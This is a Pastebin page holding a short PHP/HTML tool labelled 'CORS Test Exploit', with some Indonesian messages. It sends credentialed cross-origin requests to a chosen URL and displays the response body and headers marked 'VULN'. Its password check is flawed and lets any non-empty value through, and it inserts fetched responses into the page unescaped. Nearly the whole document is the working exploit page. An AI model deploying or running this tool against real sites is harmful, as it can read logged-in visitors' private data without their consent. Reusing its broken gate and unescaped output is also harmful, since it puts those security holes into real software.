bug7sec

cors vuln tester

Jun 11th, 2018
462
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.46 KB | None | 0 0
  1. <?php
  2. if($_GET['password'] != 'pr1v4t31337day' && empty($_GET['password'])){
  3.   die('Hanya pihak berkepentingan yang dapat membuka');
  4. }
  5. ?>
  6. <!DOCTYPE html>
  7. <html>
  8. <head>
  9.     <title>CORS Test Exploit</title>
  10. </head>
  11. <body>
  12. <h3>CORS Test Exploit</h3>
  13. <input type="text" name="target" placeholder="Target URL" autocomplete="off"> <button type="submit" onclick="submit()">Exploit Now!</button><br>
  14. <pre id="result"></pre>
  15. <script type="text/javascript">
  16.     function submit() {
  17.         var url     = document.getElementsByName("target")[0].value;
  18.         //alert("Tested CORS : "+url);
  19.         var xhttp = new XMLHttpRequest();
  20.         xhttp.onreadystatechange = function() {
  21.         if (this.readyState == 4 && this.status == 200) {
  22.            
  23.                 var contentType = xhttp.getAllResponseHeaders();
  24.                 document.getElementById("result").innerHTML = '<pre>Respons (Status : <b>VULN</b> | status code : '+this.status+' | URL : '+url+'):<br><br><textarea style="margin: 0px; width: 411px; height: 436px;"">'+this.responseText+'</textarea> <textarea style="margin: 0px; width: 411px; height: 436px;"">Header : \n\n'+contentType+'</textarea></pre>';
  25.         }else{
  26.             document.getElementById("result").innerHTML = "<pre>Respons (status : Not Vuln) : respons tidak ada , status code "+this.status+"</pre>";
  27.         }
  28.          
  29.        
  30.         };
  31.       xhttp.open("GET", url, true);
  32.       xhttp.withCredentials = true;
  33.       xhttp.send();
  34.     }
  35. </script>
  36. </body>
  37. </html>
Advertisement
Add Comment
Please, Sign In to add comment